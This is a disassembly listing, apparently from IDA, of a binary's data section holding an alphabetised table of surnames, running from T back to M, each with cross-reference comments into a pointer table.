aTeague		db 'Teague',0           ; DATA XREF: ___:0042E624o
		align 4
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: ___:0042E620o
		align 4
aTawn		db 'Tawn',0             ; DATA XREF: ___:0042E61Co
		align 4
aTaveras	db 'Taveras',0          ; DATA XREF: ___:0042E618o
aTatar		db 'Tatar',0            ; DATA XREF: ___:0042E614o
		align 4
aTanowitz	db 'Tanowitz',0         ; DATA XREF: ___:0042E610o
		align 4
aTandler	db 'Tandler',0          ; DATA XREF: ___:0042E60Co
aTambiah	db 'Tambiah',0          ; DATA XREF: ___:0042E608o
aTalaugon	db 'Talaugon',0         ; DATA XREF: ___:0042E604o
		align 4
aTai		db 'Tai',0              ; DATA XREF: ___:0042E600o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: ___:0042E5FCo
aSwindle	db 'Swindle',0          ; DATA XREF: ___:0042E5F8o
aSweetser	db 'Sweetser',0         ; DATA XREF: ___:0042E5F4o
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: ___:0042E5F0o
		align 10h
aSurdam		db 'Surdam',0           ; DATA XREF: ___:0042E5ECo
		align 4
aSuo		db 'Suo',0              ; DATA XREF: ___:0042E5E8o
aSumner		db 'Sumner',0           ; DATA XREF: ___:0042E5E4o
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: ___:0042E5E0o
		align 10h
aStringer	db 'Stringer',0         ; DATA XREF: ___:0042E5DCo
		align 4
aStreiff	db 'Streiff',0          ; DATA XREF: ___:0042E5D8o
aStrauch	db 'Strauch',0          ; DATA XREF: ___:0042E5D4o
aStrange	db 'Strange',0          ; DATA XREF: ___:0042E5D0o
aStott		db 'Stott',0            ; DATA XREF: ___:0042E5CCo
		align 4
aStorer		db 'Storer',0           ; DATA XREF: ___:0042E5C8o
		align 4
aStonich	db 'Stonich',0          ; DATA XREF: ___:0042E5C4o
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: ___:0042E5C0o
aStockwell	db 'Stockwell',0        ; DATA XREF: ___:0042E5BCo
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: ___:0042E5B8o
		align 10h
aStock		db 'Stock',0            ; DATA XREF: ___:0042E5B4o
		align 4
aStillwell	db 'Stillwell',0        ; DATA XREF: ___:0042E5B0o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: ___:0042E5ACo
		align 10h
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: ___:0042E5A8o
		align 10h
aStepniewska	db 'Stepniewska',0      ; DATA XREF: ___:0042E5A4o
aStephanian	db 'Stephanian',0       ; DATA XREF: ___:0042E5A0o
		align 4
aSteiner	db 'Steiner',0          ; DATA XREF: ___:0042E59Co
aStefani	db 'Stefani',0          ; DATA XREF: ___:0042E598o
aStatlender	db 'Statlender',0       ; DATA XREF: ___:0042E594o
		align 4
aStates		db 'States',0           ; DATA XREF: ___:0042E590o
		align 4
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: ___:0042E58Co
		align 4
aStang		db 'Stang',0            ; DATA XREF: ___:0042E588o
		align 4
aStam		db 'Stam',0             ; DATA XREF: ___:0042E584o
		align 4
aStalvey	db 'Stalvey',0          ; DATA XREF: ___:0042E580o
aStmartin	db 'StMartin',0         ; DATA XREF: ___:0042E57Co
		align 10h
aSpinrad	db 'Spinrad',0          ; DATA XREF: ___:0042E578o
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: ___:0042E574o
		align 4
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: ___:0042E570o
		align 4
aSpicer		db 'Spicer',0           ; DATA XREF: ___:0042E56Co
		align 4
aSperber	db 'Sperber',0          ; DATA XREF: ___:0042E568o
aSpence		db 'Spence',0           ; DATA XREF: ___:0042E564o
		align 4
aSpeizer	db 'Speizer',0          ; DATA XREF: ___:0042E560o
aSpaulding	db 'Spaulding',0        ; DATA XREF: ___:0042E55Co
		align 10h
aSparrow	db 'Sparrow',0          ; DATA XREF: ___:0042E558o
aSpanier	db 'Spanier',0          ; DATA XREF: ___:0042E554o
aSoultanian	db 'Soultanian',0       ; DATA XREF: ___:0042E550o
		align 4
aSoule		db 'Soule',0            ; DATA XREF: ___:0042E54Co
		align 4
aSoukup		db 'Soukup',0           ; DATA XREF: ___:0042E548o
		align 4
aSottak		db 'Sottak',0           ; DATA XREF: ___:0042E544o
		align 4
aSorg		db 'Sorg',0             ; DATA XREF: ___:0042E540o
		align 4
aSorabella	db 'Sorabella',0        ; DATA XREF: ___:0042E53Co
		align 4
aSommariva	db 'Sommariva',0        ; DATA XREF: ___:0042E538o
		align 4
aSomers		db 'Somers',0           ; DATA XREF: ___:0042E534o
		align 4
aSolon		db 'Solon',0            ; DATA XREF: ___:0042E530o
		align 4
aSocolow	db 'Socolow',0          ; DATA XREF: ___:0042E52Co
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: ___:0042E528o
		align 4
aSniffen	db 'Sniffen',0          ; DATA XREF: ___:0042E524o
aSmilow		db 'Smilow',0           ; DATA XREF: ___:0042E520o
		align 4
aSlowe		db 'Slowe',0            ; DATA XREF: ___:0042E51Co
		align 10h
aSloan		db 'Sloan',0            ; DATA XREF: ___:0042E518o
		align 4
aSkoda		db 'Skoda',0            ; DATA XREF: ___:0042E514o
		align 10h
aSkerry		db 'Skerry',0           ; DATA XREF: ___:0042E510o
		align 4
aSkane		db 'Skane',0            ; DATA XREF: ___:0042E50Co
		align 10h
aSites		db 'Sites',0            ; DATA XREF: ___:0042E508o
		align 4
aSirilli	db 'Sirilli',0          ; DATA XREF: ___:0042E504o
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: ___:0042E500o
		align 4
aSilvetti	db 'Silvetti',0         ; DATA XREF: ___:0042E4FCo
		align 4
aSilverman	db 'Silverman',0        ; DATA XREF: ___:0042E4F8o
		align 4
aSigna		db 'Signa',0            ; DATA XREF: ___:0042E4F4o
		align 4
aSigini		db 'Sigini',0           ; DATA XREF: ___:0042E4F0o
		align 4
aSigalot	db 'Sigalot',0          ; DATA XREF: ___:0042E4ECo
aSiesto		db 'Siesto',0           ; DATA XREF: ___:0042E4E8o
		align 4
aShimon		db 'Shimon',0           ; DATA XREF: ___:0042E4E4o
		align 4
aShibata	db 'Shibata',0          ; DATA XREF: ___:0042E4E0o
aShia		db 'Shia',0             ; DATA XREF: ___:0042E4DCo
		align 4
aShesko		db 'Shesko',0           ; DATA XREF: ___:0042E4D8o
		align 4
aShepstone	db 'Shepstone',0        ; DATA XREF: ___:0042E4D4o
		align 10h
aSheppard	db 'Sheppard',0         ; DATA XREF: ___:0042E4D0o
		align 4
aShepherd	db 'Shepherd',0         ; DATA XREF: ___:0042E4CCo
		align 4
aSheats		db 'Sheats',0           ; DATA XREF: ___:0042E4C8o
		align 10h
aShea		db 'Shea',0             ; DATA XREF: ___:0042E4C4o
		align 4
aShavelson	db 'Shavelson',0        ; DATA XREF: ___:0042E4C0o
		align 4
aShatrov	db 'Shatrov',0          ; DATA XREF: ___:0042E4BCo
aShar		db 'Shar',0             ; DATA XREF: ___:0042E4B8o
		align 4
aShanley	db 'Shanley',0          ; DATA XREF: ___:0042E4B4o
aShankland	db 'Shankland',0        ; DATA XREF: ___:0042E4B0o
		align 4
aShakis		db 'Shakis',0           ; DATA XREF: ___:0042E4ACo
		align 10h
aShaikh		db 'Shaikh',0           ; DATA XREF: ___:0042E4A8o
		align 4
aSeyfert	db 'Seyfert',0          ; DATA XREF: ___:0042E4A4o
aSexton		db 'Sexton',0           ; DATA XREF: ___:0042E4A0o
		align 4
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: ___:0042E49Co
		align 4
aSennett	db 'Sennett',0          ; DATA XREF: ___:0042E498o
aSen		db 'Sen',0              ; DATA XREF: ___:0042E494o
aSelvage	db 'Selvage',0          ; DATA XREF: ___:0042E490o
aSekler		db 'Sekler',0           ; DATA XREF: ___:0042E48Co
		align 10h
aSegal		db 'Segal',0            ; DATA XREF: ___:0042E488o
		align 4
aSeeber		db 'Seeber',0           ; DATA XREF: ___:0042E484o
		align 10h
aSeaton		db 'Seaton',0           ; DATA XREF: ___:0042E480o
		align 4
aScudder	db 'Scudder',0          ; DATA XREF: ___:0042E47Co
aScovel		db 'Scovel',0           ; DATA XREF: ___:0042E478o
		align 4
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: ___:0042E474o
aSchwan		db 'Schwan',0           ; DATA XREF: ___:0042E470o
		align 4
aSchuyler	db 'Schuyler',0         ; DATA XREF: ___:0042E46Co
		align 4
aSchutte	db 'Schutte',0          ; DATA XREF: ___:0042E468o
aSchuman	db 'Schuman',0          ; DATA XREF: ___:0042E464o
aSchossberger	db 'Schossberger',0     ; DATA XREF: ___:0042E460o
		align 4
aSchmitt	db 'Schmitt',0          ; DATA XREF: ___:0042E45Co
aSchilling	db 'Schilling',0        ; DATA XREF: ___:0042E458o
		align 4
aSchifini	db 'Schifini',0         ; DATA XREF: ___:0042E454o
		align 4
aSchiano	db 'Schiano',0          ; DATA XREF: ___:0042E450o
aScheiner	db 'Scheiner',0         ; DATA XREF: ___:0042E44Co
		align 4
aScharlemann	db 'Scharlemann',0      ; DATA XREF: ___:0042E448o
aScharf		db 'Scharf',0           ; DATA XREF: ___:0042E444o
		align 10h
aScepan		db 'Scepan',0           ; DATA XREF: ___:0042E440o
		align 4
aScarponi	db 'Scarponi',0         ; DATA XREF: ___:0042E43Co
		align 4
aSayied		db 'Sayied',0           ; DATA XREF: ___:0042E438o
		align 4
aSawtell	db 'Sawtell',0          ; DATA XREF: ___:0042E434o
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: ___:0042E430o
		align 4
aSatta		db 'Satta',0            ; DATA XREF: ___:0042E42Co
		align 4
aSatin		db 'Satin',0            ; DATA XREF: ___:0042E428o
		align 4
aSase		db 'Sase',0             ; DATA XREF: ___:0042E424o
		align 4
aSartore	db 'Sartore',0          ; DATA XREF: ___:0042E420o
aSarin		db 'Sarin',0            ; DATA XREF: ___:0042E41Co
		align 4
aSapers		db 'Sapers',0           ; DATA XREF: ___:0042E418o
		align 4
aSanna		db 'Sanna',0            ; DATA XREF: ___:0042E414o
		align 4
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: ___:0042E410o
aSamson		db 'Samson',0           ; DATA XREF: ___:0042E40Co
		align 4
aSali		db 'Sali',0             ; DATA XREF: ___:0042E408o
		align 4
aSahu		db 'Sahu',0             ; DATA XREF: ___:0042E404o
		align 4
aSafire		db 'Safire',0           ; DATA XREF: ___:0042E400o
		align 4
aSadler		db 'Sadler',0           ; DATA XREF: ___:0042E3FCo
		align 4
aSabatello	db 'Sabatello',0        ; DATA XREF: ___:0042E3F8o
		align 10h
aRyu		db 'Ryu',0              ; DATA XREF: ___:0042E3F4o
aRush		db 'Rush',0             ; DATA XREF: ___:0042E3F0o
		align 4
aRuescher	db 'Ruescher',0         ; DATA XREF: ___:0042E3ECo
		align 4
aRuderman	db 'Ruderman',0         ; DATA XREF: ___:0042E3E8o
		align 4
aRuan		db 'Ruan',0             ; DATA XREF: ___:0042E3E4o
		align 4
aRu		db 'Ru',0               ; DATA XREF: ___:0042E3E0o
		align 10h
aRoyal		db 'Royal',0            ; DATA XREF: ___:0042E3DCo
		align 4
aRow		db 'Row',0              ; DATA XREF: ___:0042E3D8o
aRonen		db 'Ronen',0            ; DATA XREF: ___:0042E3D4o
		align 4
aRogers		db 'Rogers',0           ; DATA XREF: ___:0042E3D0o
		align 4
aRoesler	db 'Roesler',0          ; DATA XREF: ___:0042E3CCo
aRocha		db 'Rocha',0            ; DATA XREF: ___:0042E3C8o
		align 4
aRobinson	db 'Robinson',0         ; DATA XREF: ___:0042E3C4o
		align 4
aRivera		db 'Rivera',0           ; DATA XREF: ___:0042E3C0o
		align 10h
aRish		db 'Rish',0             ; DATA XREF: ___:0042E3BCo
		align 4
aRineer		db 'Rineer',0           ; DATA XREF: ___:0042E3B8o
		align 10h
aRindos		db 'Rindos',0           ; DATA XREF: ___:0042E3B4o
		align 4
aRielly		db 'Rielly',0           ; DATA XREF: ___:0042E3B0o
		align 10h
aRichmond	db 'Richmond',0         ; DATA XREF: ___:0042E3ACo
		align 4
aRhea		db 'Rhea',0             ; DATA XREF: ___:0042E3A8o
		align 4
aResnik		db 'Resnik',0           ; DATA XREF: ___:0042E3A4o
		align 4
aRepetto	db 'Repetto',0          ; DATA XREF: ___:0042E3A0o
aRenick		db 'Renick',0           ; DATA XREF: ___:0042E39Co
		align 4
aRemak		db 'Remak',0            ; DATA XREF: ___:0042E398o
		align 4
aReinold	db 'Reinold',0          ; DATA XREF: ___:0042E394o
aCunningham	db 'Cunningham',0       ; DATA XREF: ___:0042E390o
		align 4
aReedquist	db 'Reedquist',0        ; DATA XREF: ___:0042E38Co
		align 4
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: ___:0042E388o
		align 4
aRayport	db 'Rayport',0          ; DATA XREF: ___:0042E384o
aRapple		db 'Rapple',0           ; DATA XREF: ___:0042E380o
		align 4
aRankin		db 'Rankin',0           ; DATA XREF: ___:0042E37Co
		align 4
aRangan		db 'Rangan',0           ; DATA XREF: ___:0042E378o
		align 4
aRaney		db 'Raney',0            ; DATA XREF: ___:0042E374o
		align 4
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: ___:0042E370o
aRadeke		db 'Radeke',0           ; DATA XREF: ___:0042E36Co
		align 10h
aRabkin		db 'Rabkin',0           ; DATA XREF: ___:0042E368o
		align 4
aRabe		db 'Rabe',0             ; DATA XREF: ___:0042E364o
		align 10h
aQuetin		db 'Quetin',0           ; DATA XREF: ___:0042E360o
		align 4
aQuaday		db 'Quaday',0           ; DATA XREF: ___:0042E35Co
		align 10h
aPynchon	db 'Pynchon',0          ; DATA XREF: ___:0042E358o
aPugh		db 'Pugh',0             ; DATA XREF: ___:0042E354o
		align 10h
aPuccia		db 'Puccia',0           ; DATA XREF: ___:0042E350o
		align 4
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: ___:0042E34Co
		align 4
aProietti	db 'Proietti',0         ; DATA XREF: ___:0042E348o
		align 4
aPritz		db 'Pritz',0            ; DATA XREF: ___:0042E344o
		align 4
aPritchard	db 'Pritchard',0        ; DATA XREF: ___:0042E340o
		align 4
aPrevost	db 'Prevost',0          ; DATA XREF: ___:0042E33Co
aPreucel	db 'Preucel',0          ; DATA XREF: ___:0042E338o
aPresper	db 'Presper',0          ; DATA XREF: ___:0042E334o
aPowers		db 'Powers',0           ; DATA XREF: ___:0042E330o
		align 4
aPoolman	db 'Poolman',0          ; DATA XREF: ___:0042E32Co
aPoma		db 'Poma',0             ; DATA XREF: ___:0042E328o
		align 4
aPolitis	db 'Politis',0          ; DATA XREF: ___:0042E324o
aPolanyi	db 'Polanyi',0          ; DATA XREF: ___:0042E320o
aPolak		db 'Polak',0            ; DATA XREF: ___:0042E31Co
		align 10h
aPoirier	db 'Poirier',0          ; DATA XREF: ___:0042E318o
aPointer	db 'Pointer',0          ; DATA XREF: ___:0042E314o
aPoincaire	db 'Poincaire',0        ; DATA XREF: ___:0042E310o
		align 4
aPocobene	db 'Pocobene',0         ; DATA XREF: ___:0042E30Co
		align 4
aPo		db 'Po',0               ; DATA XREF: ___:0042E308o
		align 4
aPlous		db 'Plous',0            ; DATA XREF: ___:0042E304o
		align 4
aPlasket	db 'Plasket',0          ; DATA XREF: ___:0042E300o
aPlant		db 'Plant',0            ; DATA XREF: ___:0042E2FCo
		align 4
aPlancon	db 'Plancon',0          ; DATA XREF: ___:0042E2F8o
aPinot		db 'Pinot',0            ; DATA XREF: ___:0042E2F4o
		align 4
aPilbeam	db 'Pilbeam',0          ; DATA XREF: ___:0042E2F0o
aPfister	db 'Pfister',0          ; DATA XREF: ___:0042E2ECo
aPettit		db 'Pettit',0           ; DATA XREF: ___:0042E2E8o
		align 4
aPettibone	db 'Pettibone',0        ; DATA XREF: ___:0042E2E4o
		align 4
aPetruzello	db 'Petruzello',0       ; DATA XREF: ___:0042E2E0o
		align 4
aPeters		db 'Peters',0           ; DATA XREF: ___:0042E2DCo
		align 4
aPerrimon	db 'Perrimon',0         ; DATA XREF: ___:0042E2D8o
		align 4
aPerone		db 'Perone',0           ; DATA XREF: ___:0042E2D4o
		align 10h
aPerna		db 'Perna',0            ; DATA XREF: ___:0042E2D0o
		align 4
aPerlman	db 'Perlman',0          ; DATA XREF: ___:0042E2CCo
aPerlak		db 'Perlak',0           ; DATA XREF: ___:0042E2C8o
		align 4
aPerko		db 'Perko',0            ; DATA XREF: ___:0042E2C4o
		align 10h
aPereira	db 'Pereira',0          ; DATA XREF: ___:0042E2C0o
aPenny		db 'Penny',0            ; DATA XREF: ___:0042E2BCo
		align 10h
aPeishel	db 'Peishel',0          ; DATA XREF: ___:0042E2B8o
aPederson	db 'Pederson',0         ; DATA XREF: ___:0042E2B4o
		align 4
aPearlberg	db 'Pearlberg',0        ; DATA XREF: ___:0042E2B0o
		align 10h
aPeabody	db 'Peabody',0          ; DATA XREF: ___:0042E2ACo
aPaynter	db 'Paynter',0          ; DATA XREF: ___:0042E2A8o
aPawloski	db 'Pawloski',0         ; DATA XREF: ___:0042E2A4o
		align 4
aPavlon		db 'Pavlon',0           ; DATA XREF: ___:0042E2A0o
		align 4
aPavetti	db 'Pavetti',0          ; DATA XREF: ___:0042E29Co
aPattullo	db 'Pattullo',0         ; DATA XREF: ___:0042E298o
		align 4
aPatrick	db 'Patrick',0          ; DATA XREF: ___:0042E294o
aPatefield	db 'Patefield',0        ; DATA XREF: ___:0042E290o
		align 4
aPascucci	db 'Pascucci',0         ; DATA XREF: ___:0042E28Co
		align 4
aPartridge	db 'Partridge',0        ; DATA XREF: ___:0042E288o
		align 4
aParris		db 'Parris',0           ; DATA XREF: ___:0042E284o
		align 4
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: ___:0042E280o
aPaoletti	db 'Paoletti',0         ; DATA XREF: ___:0042E27Co
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: ___:0042E278o
		align 10h
aPanizzon	db 'Panizzon',0         ; DATA XREF: ___:0042E274o
		align 4
aPanadero	db 'Panadero',0         ; DATA XREF: ___:0042E270o
		align 4
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: ___:0042E26Co
		align 4
aPallara	db 'Pallara',0          ; DATA XREF: ___:0042E268o
aPalepu		db 'Palepu',0           ; DATA XREF: ___:0042E264o
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: ___:0042E260o
		align 10h
aPaine		db 'Paine',0            ; DATA XREF: ___:0042E25Co
		align 4
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: ___:0042E258o
		align 4
aOvid		db 'Ovid',0             ; DATA XREF: ___:0042E254o
		align 10h
aOuchida	db 'Ouchida',0          ; DATA XREF: ___:0042E250o
aOtten		db 'Otten',0            ; DATA XREF: ___:0042E24Co
		align 10h
aOttaviani	db 'Ottaviani',0        ; DATA XREF: ___:0042E248o
		align 4
aOstrowski	db 'Ostrowski',0        ; DATA XREF: ___:0042E244o
		align 4
aOspina		db 'Ospina',0           ; DATA XREF: ___:0042E240o
		align 10h
aOrsi		db 'Orsi',0             ; DATA XREF: ___:0042E23Co
		align 4
aOrfield	db 'Orfield',0          ; DATA XREF: ___:0042E238o
aOray		db 'Oray',0             ; DATA XREF: ___:0042E234o
		align 4
aOpel		db 'Opel',0             ; DATA XREF: ___:0042E230o
		align 10h
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: ___:0042E22Co
aOman		db 'Oman',0             ; DATA XREF: ___:0042E228o
		align 10h
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: ___:0042E224o
		align 4
aOlszewski	db 'Olszewski',0        ; DATA XREF: ___:0042E220o
		align 4
aOlson		db 'Olson',0            ; DATA XREF: ___:0042E21Co
		align 10h
aOlsen		db 'Olsen',0            ; DATA XREF: ___:0042E218o
		align 4
aOldford	db 'Oldford',0          ; DATA XREF: ___:0042E214o
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: ___:0042E210o
aOh		db 'Oh',0               ; DATA XREF: ___:0042E20Co
		align 4
aOgata		db 'Ogata',0            ; DATA XREF: ___:0042E208o
		align 4
aOcougne	db 'Ocougne',0          ; DATA XREF: ___:0042E204o
aNuzum		db 'Nuzum',0            ; DATA XREF: ___:0042E200o
		align 4
aNotman		db 'Notman',0           ; DATA XREF: ___:0042E1FCo
		align 4
aNitabach	db 'Nitabach',0         ; DATA XREF: ___:0042E1F8o
		align 4
aNisenson	db 'Nisenson',0         ; DATA XREF: ___:0042E1F4o
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: ___:0042E1F0o
		align 10h
aNickerson	db 'Nickerson',0        ; DATA XREF: ___:0042E1ECo
		align 4
aNi_0		db 'Ni',0               ; DATA XREF: ___:0042E1E8o
		align 10h
aNg		db 'Ng',0               ; DATA XREF: ___:0042E1E4o
		align 4
aNewlin		db 'Newlin',0           ; DATA XREF: ___:0042E1E0o
		align 4
aNewfeld	db 'Newfeld',0          ; DATA XREF: ___:0042E1DCo
aNeuman		db 'Neuman',0           ; DATA XREF: ___:0042E1D8o
		align 4
aNesci		db 'Nesci',0            ; DATA XREF: ___:0042E1D4o
		align 4
aNenna		db 'Nenna',0            ; DATA XREF: ___:0042E1D0o
		align 4
aNelson		db 'Nelson',0           ; DATA XREF: ___:0042E1CCo
		align 4
aNayduch	db 'Nayduch',0          ; DATA XREF: ___:0042E1C8o
aNaviaux	db 'Naviaux',0          ; DATA XREF: ___:0042E1C4o
aNardone	db 'Nardone',0          ; DATA XREF: ___:0042E1C0o
aNardi		db 'Nardi',0            ; DATA XREF: ___:0042E1BCo
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: ___:0042E1B8o
		align 10h
aNaddeo		db 'Naddeo',0           ; DATA XREF: ___:0042E1B4o
		align 4
aMussachio	db 'Mussachio',0        ; DATA XREF: ___:0042E1B0o
		align 4
aMumford	db 'Mumford',0          ; DATA XREF: ___:0042E1ACo
aMulroy		db 'Mulroy',0           ; DATA XREF: ___:0042E1A8o
		align 4
aMulkern	db 'Mulkern',0          ; DATA XREF: ___:0042E1A4o
aMugnai		db 'Mugnai',0           ; DATA XREF: ___:0042E1A0o
		align 4
aMuello		db 'Muello',0           ; DATA XREF: ___:0042E19Co
		align 4
aMudarri	db 'Mudarri',0          ; DATA XREF: ___:0042E198o
aMotooka	db 'Motooka',0          ; DATA XREF: ___:0042E194o
aMostafavi	db 'Mostafavi',0        ; DATA XREF: ___:0042E190o
		align 4
aMosler		db 'Mosler',0           ; DATA XREF: ___:0042E18Co
		align 10h
aMosher		db 'Mosher',0           ; DATA XREF: ___:0042E188o
		align 4
aMortimer	db 'Mortimer',0         ; DATA XREF: ___:0042E184o
		align 4
aMorrow		db 'Morrow',0           ; DATA XREF: ___:0042E180o
		align 4
aMorrison	db 'Morrison',0         ; DATA XREF: ___:0042E17Co
		align 4
aMoreton	db 'Moreton',0          ; DATA XREF: ___:0042E178o
aMorani		db 'Morani',0           ; DATA XREF: ___:0042E174o
		align 4
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: ___:0042E170o
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: ___:0042E16Co
		align 10h
aMonque		db 'Monque',0           ; DATA XREF: ___:0042E168o
		align 4
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: ___:0042E164o
		align 4
aMohr		db 'Mohr',0             ; DATA XREF: ___:0042E160o
		align 4
aMoeller	db 'Moeller',0          ; DATA XREF: ___:0042E15Co
aModestino	db 'Modestino',0        ; DATA XREF: ___:0042E158o
		align 10h
aMocroft	db 'Mocroft',0          ; DATA XREF: ___:0042E154o
aMittal		db 'Mittal',0           ; DATA XREF: ___:0042E150o
		align 10h
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: ___:0042E14Co
aGonzalez	db 'Gonzalez',0         ; DATA XREF: ___:0042E148o
		align 4
aMinichiello	db 'Minichiello',0      ; DATA XREF: ___:0042E144o
aMini		db 'Mini',0             ; DATA XREF: ___:0042E140o
		align 4
aMinh		db 'Minh',0             ; DATA XREF: ___:0042E13Co
		align 4
aMills		db 'Mills',0            ; DATA XREF: ___:0042E138o
		align 4
aMieher		db 'Mieher',0           ; DATA XREF: ___:0042E134o
		align 4
aMiddle		db 'Middle',0           ; DATA XREF: ___:0042E130o
		align 4
aMichelman	db 'Michelman',0        ; DATA XREF: ___:0042E12Co
		align 4
aMeurer		db 'Meurer',0           ; DATA XREF: ___:0042E128o
		align 10h
aMetropolis	db 'Metropolis',0       ; DATA XREF: ___:0042E124o
		align 4
aMetelka	db 'Metelka',0          ; DATA XREF: ___:0042E120o
aMerz		db 'Merz',0             ; DATA XREF: ___:0042E11Co
		align 4
aMerseth	db 'Merseth',0          ; DATA XREF: ___:0042E118o
aMerminod	db 'Merminod',0         ; DATA XREF: ___:0042E114o
		align 10h
aMerlani	db 'Merlani',0          ; DATA XREF: ___:0042E110o
aMerikoski	db 'Merikoski',0        ; DATA XREF: ___:0042E10Co
		align 4
aMenzies	db 'Menzies',0          ; DATA XREF: ___:0042E108o
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: ___:0042E104o
		align 4
aMeccariello	db 'Meccariello',0      ; DATA XREF: ___:0042E100o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: ___:0042E0FCo
aMcnealy	db 'Mcnealy',0          ; DATA XREF: ___:0042E0F8o
aMclaren	db 'Mclaren',0          ; DATA XREF: ___:0042E0F4o
aMclane		db 'Mclane',0           ; DATA XREF: ___:0042E0F0o
		align 4
aMckenna	db 'Mckenna',0          ; DATA XREF: ___:0042E0ECo
aMcintosh	db 'Mcintosh',0         ; DATA XREF: ___:0042E0E8o
		align 4
aMcilroy	db 'McIlroy',0          ; DATA XREF: ___:0042E0E4o
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: ___:0042E0E0o
		align 4
aMcghee		db 'Mcghee',0           ; DATA XREF: ___:0042E0DCo
		align 4
aMcfadden	db 'McFadden',0         ; DATA XREF: ___:0042E0D8o
		align 10h
aMcelroy	db 'Mcelroy',0          ; DATA XREF: ___:0042E0D4o
aMcdowell	db 'Mcdowell',0         ; DATA XREF: ___:0042E0D0o
		align 4
aMcclearn	db 'Mcclearn',0         ; DATA XREF: ___:0042E0CCo
		align 10h
aMccall		db 'Mccall',0           ; DATA XREF: ___:0042E0C8o
		align 4
aMccaffery	db 'Mccaffery',0        ; DATA XREF: ___:0042E0C4o
		align 4
aMcbride	db 'Mcbride',0          ; DATA XREF: ___:0042E0C0o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: ___:0042E0BCo
		align 4
aMazzali	db 'Mazzali',0          ; DATA XREF: ___:0042E0B8o
aMay		db 'May',0              ; DATA XREF: ___:0042E0B4o
aMauzy		db 'Mauzy',0            ; DATA XREF: ___:0042E0B0o
		align 4
aMattson	db 'Mattson',0          ; DATA XREF: ___:0042E0ACo
aMatsukata	db 'Matsukata',0        ; DATA XREF: ___:0042E0A8o
		align 10h
aMatarazzo	db 'Matarazzo',0        ; DATA XREF: ___:0042E0A4o
		align 4
aMatalka	db 'Matalka',0          ; DATA XREF: ___:0042E0A0o
aMass		db 'Mass',0             ; DATA XREF: ___:0042E09Co
		align 4
aMarubini	db 'Marubini',0         ; DATA XREF: ___:0042E098o
		align 4
aMarton		db 'Marton',0           ; DATA XREF: ___:0042E094o
		align 10h
aMartochio	db 'Martochio',0        ; DATA XREF: ___:0042E090o
		align 4
aMartinez	db 'Martinez',0         ; DATA XREF: ___:0042E08Co
		align 4
aMarques	db 'Marques',0          ; DATA XREF: ___:0042E088o
aMargetts	db 'Margetts',0         ; DATA XREF: ___:0042E084o
		align 4
aMargalit	db 'Margalit',0         ; DATA XREF: ___:0042E080o
		align 4
aMarcus		db 'Marcus',0           ; DATA XREF: ___:0042E07Co
		align 10h
aMarchbanks	db 'Marchbanks',0       ; DATA XREF: ___:0042E078o
		align 4
aMarch		db 'March',0            ; DATA XREF: ___:0042E074o
		align 4
aMantovan	db 'Mantovan',0         ; DATA XREF: ___:0042E070o
		align 10h
aManganiello	db 'Manganiello',0      ; DATA XREF: ___:0042E06Co
aMandel		db 'Mandel',0           ; DATA XREF: ___:0042E068o
		align 4
aManalis	db 'Manalis',0          ; DATA XREF: ___:0042E064o
aMalova		db 'Malova',0           ; DATA XREF: ___:0042E060o
		align 4
aMaller		db 'Maller',0           ; DATA XREF: ___:0042E05Co
		align 4
aMalatesta	db 'Malatesta',0        ; DATA XREF: ___:0042E058o
		align 4
aMaisano	db 'Maisano',0          ; DATA XREF: ___:0042E054o
aMaineHershey	db 'Maine-Hershey',0    ; DATA XREF: ___:0042E050o
		align 10h
aMaier		db 'Maier',0            ; DATA XREF: ___:0042E04Co
		align 4
aMahony		db 'Mahony',0           ; DATA XREF: ___:0042E048o
		align 10h
aMaggio		db 'Maggio',0           ; DATA XREF: ___:0042E044o
		align 4
aMadigan	db 'Madigan',0          ; DATA XREF: ___:0042E040o
aMacy		db 'Macy',0             ; DATA XREF: ___:0042E03Co
		align 4
aMacmillan	db 'MacMillan',0        ; DATA XREF: ___:0042E038o
		align 4
aMackenney	db 'Mackenney',0        ; DATA XREF: ___:0042E034o
		align 10h
aMacintyre	db 'Macintyre',0        ; DATA XREF: ___:0042E030o
		align 4
aMaceachern	db 'Maceachern',0       ; DATA XREF: ___:0042E02Co
		align 4
aMacdonald	db 'Macdonald',0        ; DATA XREF: ___:0042E028o
		align 4
aMaccormac	db 'Maccormac',0        ; DATA XREF: ___:0042E024o
		align 10h
aMa		db 'Ma',0               ; DATA XREF: ___:0042E020o
		align 4
